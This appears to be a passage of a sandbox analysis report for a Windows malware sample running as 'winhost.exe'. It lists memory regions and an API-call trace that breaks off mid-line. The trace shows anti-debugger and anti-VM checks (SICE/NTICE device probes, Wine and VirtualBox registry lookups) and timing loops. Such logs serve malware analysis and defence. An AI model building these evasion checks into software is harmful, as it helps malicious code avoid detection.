0x1a0000 end_va = 0x1bdfff entry_point = 0x1a0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2849 start_va = 0x9c0000 end_va = 0xb47fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000009c0000" filename = "" Region: id = 2850 start_va = 0x1a0000 end_va = 0x1bdfff entry_point = 0x1a0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2851 start_va = 0x769d0000 end_va = 0x76a2ffff entry_point = 0x769d0000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 2852 start_va = 0x75310000 end_va = 0x753dbfff entry_point = 0x75310000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 2853 start_va = 0xb50000 end_va = 0xcd0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b50000" filename = "" Region: id = 2854 start_va = 0xce0000 end_va = 0x20dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000ce0000" filename = "" Region: id = 2855 start_va = 0x1a0000 end_va = 0x1a0fff entry_point = 0x0 region_type = private name = "private_0x00000000001a0000" filename = "" Region: id = 2856 start_va = 0x1b0000 end_va = 0x1b0fff entry_point = 0x0 region_type = private name = "private_0x00000000001b0000" filename = "" Region: id = 2857 start_va = 0x74e40000 end_va = 0x74e71fff entry_point = 0x74e40000 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\SysWOW64\\winmm.dll" (normalized: "c:\\windows\\syswow64\\winmm.dll") Region: id = 2858 start_va = 0x240000 end_va = 0x240fff entry_point = 0x0 region_type = private name = "private_0x0000000000240000" filename = "" Region: id = 2859 start_va = 0x250000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2860 start_va = 0x20e0000 end_va = 0x24effff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000020e0000" filename = "" Region: id = 2861 start_va = 0x24f0000 end_va = 0x28fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000024f0000" filename = "" Region: id = 2890 start_va = 0x3d0000 end_va = 0x3dafff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00000000003d0000" filename = "" Region: id = 2891 start_va = 0x250000 end_va = 0x25afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 2892 start_va = 0x250000 end_va = 0x25afff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000250000" filename = "" Region: id = 2893 start_va = 0x250000 end_va = 0x25ffff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2894 start_va = 0x20e0000 end_va = 0x23aefff entry_point = 0x20e0000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 2895 start_va = 0x250000 end_va = 0x250fff entry_point = 0x0 region_type = private name = "private_0x0000000000250000" filename = "" Region: id = 2896 start_va = 0x76de0000 end_va = 0x76e6efff entry_point = 0x76de0000 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\SysWOW64\\oleaut32.dll" (normalized: "c:\\windows\\syswow64\\oleaut32.dll") Region: id = 2897 start_va = 0x75b80000 end_va = 0x75cdbfff entry_point = 0x75b80000 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\SysWOW64\\ole32.dll" (normalized: "c:\\windows\\syswow64\\ole32.dll") Region: id = 2898 start_va = 0x74e30000 end_va = 0x74e38fff entry_point = 0x74e30000 region_type = mapped_file name = "version.dll" filename = "\\Windows\\SysWOW64\\version.dll" (normalized: "c:\\windows\\syswow64\\version.dll") Region: id = 2899 start_va = 0x74da0000 end_va = 0x74e23fff entry_point = 0x74da0000 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\x86_microsoft.windows.common-controls_6595b64144ccf1df_5.82.7601.17514_none_ec83dffa859149af\\comctl32.dll") Region: id = 2930 start_va = 0x23b0000 end_va = 0x24effff entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 2931 start_va = 0x76ed0000 end_va = 0x76f4afff entry_point = 0x76ed0000 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\SysWOW64\\comdlg32.dll" (normalized: "c:\\windows\\syswow64\\comdlg32.dll") Region: id = 2932 start_va = 0x75040000 end_va = 0x75096fff entry_point = 0x75040000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 2933 start_va = 0x75cf0000 end_va = 0x76939fff entry_point = 0x75cf0000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 2934 start_va = 0x900000 end_va = 0x930fff entry_point = 0x0 region_type = private name = "private_0x0000000000900000" filename = "" Region: id = 2935 start_va = 0x9b0000 end_va = 0x9bffff entry_point = 0x0 region_type = private name = "private_0x00000000009b0000" filename = "" Region: id = 2936 start_va = 0x3d0000 end_va = 0x3d0fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 2977 start_va = 0x3e0000 end_va = 0x3effff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 2979 start_va = 0x3e0000 end_va = 0x3e0fff entry_point = 0x0 region_type = private name = "private_0x00000000003e0000" filename = "" Region: id = 2980 start_va = 0x940000 end_va = 0x961fff entry_point = 0x0 region_type = private name = "private_0x0000000000940000" filename = "" Region: id = 2981 start_va = 0x3f0000 end_va = 0x3f0fff entry_point = 0x0 region_type = private name = "private_0x00000000003f0000" filename = "" Region: id = 2982 start_va = 0x970000 end_va = 0x971fff entry_point = 0x0 region_type = private name = "private_0x0000000000970000" filename = "" Region: id = 2983 start_va = 0x980000 end_va = 0x98ffff entry_point = 0x0 region_type = private name = "private_0x0000000000980000" filename = "" Region: id = 2984 start_va = 0x990000 end_va = 0x991fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 2985 start_va = 0x9a0000 end_va = 0x9a1fff entry_point = 0x0 region_type = private name = "private_0x00000000009a0000" filename = "" Region: id = 2986 start_va = 0x23b0000 end_va = 0x23b1fff entry_point = 0x0 region_type = private name = "private_0x00000000023b0000" filename = "" Region: id = 2987 start_va = 0x24e0000 end_va = 0x24effff entry_point = 0x0 region_type = private name = "private_0x00000000024e0000" filename = "" Region: id = 2988 start_va = 0x23c0000 end_va = 0x23c0fff entry_point = 0x0 region_type = private name = "private_0x00000000023c0000" filename = "" Region: id = 2989 start_va = 0x23d0000 end_va = 0x23d0fff entry_point = 0x0 region_type = private name = "private_0x00000000023d0000" filename = "" Region: id = 2990 start_va = 0x23e0000 end_va = 0x23e0fff entry_point = 0x0 region_type = private name = "private_0x00000000023e0000" filename = "" Region: id = 2991 start_va = 0x990000 end_va = 0x990fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 2992 start_va = 0x23f0000 end_va = 0x23f0fff entry_point = 0x0 region_type = private name = "private_0x00000000023f0000" filename = "" Region: id = 2993 start_va = 0x990000 end_va = 0x990fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 2994 start_va = 0x990000 end_va = 0x990fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 2995 start_va = 0x990000 end_va = 0x991fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 2996 start_va = 0x990000 end_va = 0x990fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 2997 start_va = 0x990000 end_va = 0x991fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 2998 start_va = 0x2400000 end_va = 0x2400fff entry_point = 0x0 region_type = private name = "private_0x0000000002400000" filename = "" Region: id = 2999 start_va = 0x2410000 end_va = 0x2410fff entry_point = 0x0 region_type = private name = "private_0x0000000002410000" filename = "" Region: id = 3000 start_va = 0x2420000 end_va = 0x2420fff entry_point = 0x0 region_type = private name = "private_0x0000000002420000" filename = "" Region: id = 3001 start_va = 0x2430000 end_va = 0x2430fff entry_point = 0x0 region_type = private name = "private_0x0000000002430000" filename = "" Region: id = 3002 start_va = 0x2440000 end_va = 0x2440fff entry_point = 0x0 region_type = private name = "private_0x0000000002440000" filename = "" Region: id = 3003 start_va = 0x2450000 end_va = 0x2450fff entry_point = 0x0 region_type = private name = "private_0x0000000002450000" filename = "" Region: id = 3004 start_va = 0x2460000 end_va = 0x2460fff entry_point = 0x0 region_type = private name = "private_0x0000000002460000" filename = "" Region: id = 3005 start_va = 0x2470000 end_va = 0x2470fff entry_point = 0x0 region_type = private name = "private_0x0000000002470000" filename = "" Region: id = 3006 start_va = 0x2480000 end_va = 0x2481fff entry_point = 0x0 region_type = private name = "private_0x0000000002480000" filename = "" Region: id = 3007 start_va = 0x2490000 end_va = 0x2490fff entry_point = 0x0 region_type = private name = "private_0x0000000002490000" filename = "" Region: id = 3008 start_va = 0x24a0000 end_va = 0x24a0fff entry_point = 0x0 region_type = private name = "private_0x00000000024a0000" filename = "" Region: id = 3009 start_va = 0x990000 end_va = 0x990fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 3010 start_va = 0x990000 end_va = 0x990fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 3011 start_va = 0x990000 end_va = 0x990fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 3012 start_va = 0x24b0000 end_va = 0x24b0fff entry_point = 0x0 region_type = private name = "private_0x00000000024b0000" filename = "" Region: id = 3013 start_va = 0x24c0000 end_va = 0x24c0fff entry_point = 0x0 region_type = private name = "private_0x00000000024c0000" filename = "" Region: id = 3014 start_va = 0x24d0000 end_va = 0x24d0fff entry_point = 0x0 region_type = private name = "private_0x00000000024d0000" filename = "" Region: id = 3015 start_va = 0x24f0000 end_va = 0x24f0fff entry_point = 0x0 region_type = private name = "private_0x00000000024f0000" filename = "" Region: id = 3016 start_va = 0x2500000 end_va = 0x2500fff entry_point = 0x0 region_type = private name = "private_0x0000000002500000" filename = "" Region: id = 3017 start_va = 0x2510000 end_va = 0x2510fff entry_point = 0x0 region_type = private name = "private_0x0000000002510000" filename = "" Region: id = 3018 start_va = 0x2520000 end_va = 0x2520fff entry_point = 0x0 region_type = private name = "private_0x0000000002520000" filename = "" Region: id = 3019 start_va = 0x2530000 end_va = 0x2530fff entry_point = 0x0 region_type = private name = "private_0x0000000002530000" filename = "" Region: id = 3020 start_va = 0x2540000 end_va = 0x2540fff entry_point = 0x0 region_type = private name = "private_0x0000000002540000" filename = "" Region: id = 3021 start_va = 0x2550000 end_va = 0x2550fff entry_point = 0x0 region_type = private name = "private_0x0000000002550000" filename = "" Region: id = 3022 start_va = 0x2560000 end_va = 0x2560fff entry_point = 0x0 region_type = private name = "private_0x0000000002560000" filename = "" Region: id = 3023 start_va = 0x2570000 end_va = 0x2570fff entry_point = 0x0 region_type = private name = "private_0x0000000002570000" filename = "" Region: id = 3024 start_va = 0x2580000 end_va = 0x2580fff entry_point = 0x0 region_type = private name = "private_0x0000000002580000" filename = "" Region: id = 3025 start_va = 0x2590000 end_va = 0x2590fff entry_point = 0x0 region_type = private name = "private_0x0000000002590000" filename = "" Region: id = 3026 start_va = 0x25a0000 end_va = 0x25a0fff entry_point = 0x0 region_type = private name = "private_0x00000000025a0000" filename = "" Region: id = 3027 start_va = 0x25b0000 end_va = 0x25b0fff entry_point = 0x0 region_type = private name = "private_0x00000000025b0000" filename = "" Region: id = 3028 start_va = 0x25c0000 end_va = 0x25c0fff entry_point = 0x0 region_type = private name = "private_0x00000000025c0000" filename = "" Region: id = 3029 start_va = 0x25d0000 end_va = 0x25d0fff entry_point = 0x0 region_type = private name = "private_0x00000000025d0000" filename = "" Region: id = 3030 start_va = 0x25e0000 end_va = 0x25e0fff entry_point = 0x0 region_type = private name = "private_0x00000000025e0000" filename = "" Region: id = 3031 start_va = 0x25f0000 end_va = 0x25f0fff entry_point = 0x0 region_type = private name = "private_0x00000000025f0000" filename = "" Region: id = 3032 start_va = 0x2600000 end_va = 0x2600fff entry_point = 0x0 region_type = private name = "private_0x0000000002600000" filename = "" Region: id = 3033 start_va = 0x2610000 end_va = 0x2610fff entry_point = 0x0 region_type = private name = "private_0x0000000002610000" filename = "" Region: id = 3034 start_va = 0x2620000 end_va = 0x2620fff entry_point = 0x0 region_type = private name = "private_0x0000000002620000" filename = "" Region: id = 3035 start_va = 0x2630000 end_va = 0x2630fff entry_point = 0x0 region_type = private name = "private_0x0000000002630000" filename = "" Region: id = 3036 start_va = 0x2640000 end_va = 0x2640fff entry_point = 0x0 region_type = private name = "private_0x0000000002640000" filename = "" Region: id = 3037 start_va = 0x2650000 end_va = 0x2650fff entry_point = 0x0 region_type = private name = "private_0x0000000002650000" filename = "" Region: id = 3038 start_va = 0x2660000 end_va = 0x2660fff entry_point = 0x0 region_type = private name = "private_0x0000000002660000" filename = "" Region: id = 3039 start_va = 0x2670000 end_va = 0x2670fff entry_point = 0x0 region_type = private name = "private_0x0000000002670000" filename = "" Region: id = 3040 start_va = 0x2680000 end_va = 0x2680fff entry_point = 0x0 region_type = private name = "private_0x0000000002680000" filename = "" Region: id = 3041 start_va = 0x2690000 end_va = 0x2690fff entry_point = 0x0 region_type = private name = "private_0x0000000002690000" filename = "" Region: id = 3042 start_va = 0x26a0000 end_va = 0x26a1fff entry_point = 0x0 region_type = private name = "private_0x00000000026a0000" filename = "" Region: id = 3043 start_va = 0x26b0000 end_va = 0x26b0fff entry_point = 0x0 region_type = private name = "private_0x00000000026b0000" filename = "" Region: id = 3044 start_va = 0x26c0000 end_va = 0x26c0fff entry_point = 0x0 region_type = private name = "private_0x00000000026c0000" filename = "" Region: id = 3045 start_va = 0x26d0000 end_va = 0x26d0fff entry_point = 0x0 region_type = private name = "private_0x00000000026d0000" filename = "" Region: id = 3046 start_va = 0x990000 end_va = 0x991fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 3047 start_va = 0x990000 end_va = 0x990fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 3048 start_va = 0x990000 end_va = 0x990fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 3049 start_va = 0x990000 end_va = 0x990fff entry_point = 0x0 region_type = private name = "private_0x0000000000990000" filename = "" Region: id = 3050 start_va = 0x26e0000 end_va = 0x27dffff entry_point = 0x0 region_type = private name = "private_0x00000000026e0000" filename = "" Region: id = 3051 start_va = 0x736a0000 end_va = 0x7371ffff entry_point = 0x736a0000 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\SysWOW64\\uxtheme.dll" (normalized: "c:\\windows\\syswow64\\uxtheme.dll") Region: id = 3052 start_va = 0x27e0000 end_va = 0x284ffff entry_point = 0x0 region_type = private name = "private_0x00000000027e0000" filename = "" Region: id = 3053 start_va = 0x2850000 end_va = 0x292efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000002850000" filename = "" Region: id = 3054 start_va = 0x3d0000 end_va = 0x3d0fff entry_point = 0x0 region_type = private name = "private_0x00000000003d0000" filename = "" Region: id = 3055 start_va = 0x74b70000 end_va = 0x74b82fff entry_point = 0x74b70000 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\SysWOW64\\dwmapi.dll" (normalized: "c:\\windows\\syswow64\\dwmapi.dll") Region: id = 3056 start_va = 0x2930000 end_va = 0x2a3ffff entry_point = 0x0 region_type = private name = "private_0x0000000002930000" filename = "" Region: id = 3057 start_va = 0x2a40000 end_va = 0x336ffff entry_point = 0x2a40000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Thread: id = 81 os_tid = 0x54c [0259.082] VirtualAlloc (lpAddress=0x0, dwSize=0xd9c, flAllocationType=0x1000, flProtect=0x4) returned 0x20000 [0259.082] VirtualAlloc (lpAddress=0x0, dwSize=0x320, flAllocationType=0x1000, flProtect=0x4) returned 0x30000 [0259.084] LoadLibraryA (lpLibFileName="USER32.dll") returned 0x758a0000 [0259.118] LoadLibraryA (lpLibFileName="ADVAPI32.dll") returned 0x74fa0000 [0259.118] LoadLibraryA (lpLibFileName="NTDLL.dll") returned 0x77350000 [0259.119] GetLocalTime (in: lpSystemTime=0x61182b | out: lpSystemTime=0x61182b*(wYear=0x7e3, wMonth=0x1, wDayOfWeek=0x6, wDay=0x13, wHour=0xb, wMinute=0x38, wSecond=0x36, wMilliseconds=0x13a)) [0259.121] CreateFileA (lpFileName="\\\\.\\SICE" (normalized: "sice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.124] CreateFileA (lpFileName="\\\\.\\SIWVID" (normalized: "siwvid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.127] CreateFileA (lpFileName="\\\\.\\NTICE" (normalized: "ntice"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0259.251] GetCommandLineA () returned="\"C:\\Windows\\System32\\winhost.exe\" " [0259.254] GetVersionExA (in: lpVersionInformation=0x61f9d5*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x0, dwMinorVersion=0x0, dwBuildNumber=0x0, dwPlatformId=0x0, szCSDVersion="") | out: lpVersionInformation=0x61f9d5*(dwOSVersionInfoSize=0x94, dwMajorVersion=0x6, dwMinorVersion=0x1, dwBuildNumber=0x1db1, dwPlatformId=0x2, szCSDVersion="Service Pack 1")) returned 1 [0259.254] RegOpenKeyA (in: hKey=0x80000001, lpSubKey="Software\\Wine", phkResult=0x61f7b0 | out: phkResult=0x61f7b0*=0x0) returned 0x2 [0259.254] RegOpenKeyA (in: hKey=0x80000002, lpSubKey="HARDWARE\\ACPI\\DSDT\\VBOX__", phkResult=0x61f7b0 | out: phkResult=0x61f7b0*=0x0) returned 0x2 [0259.255] GetProcAddress (hModule=0x75590000, lpProcName="GetNativeSystemInfo") returned 0x755b10b5 [0259.255] GetNativeSystemInfo (in: lpSystemInfo=0x61f9b0 | out: lpSystemInfo=0x61f9b0*(dwOemId=0x9, wProcessorArchitecture=0x9, wReserved=0x0, dwPageSize=0x1000, lpMinimumApplicationAddress=0x10000, lpMaximumApplicationAddress=0xfffeffff, dwActiveProcessorMask=0xf, dwNumberOfProcessors=0x4, dwProcessorType=0x21d8, dwAllocationGranularity=0x10000, wProcessorLevel=0x6, wProcessorRevision=0x5e03)) [0259.255] GetVersion () returned 0x1db10106 [0259.255] LoadLibraryA (lpLibFileName="winmm.dll") returned 0x74e40000 [0259.295] GetProcAddress (hModule=0x74e40000, lpProcName="timeGetTime") returned 0x74e426e0 [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.295] timeGetTime () returned 0x4a0a [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.296] timeGetTime () returned 0x4a0b [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.297] timeGetTime () returned 0x4a0c [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.298] timeGetTime () returned 0x4a0d [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 0x4a0e [0259.299] timeGetTime () returned 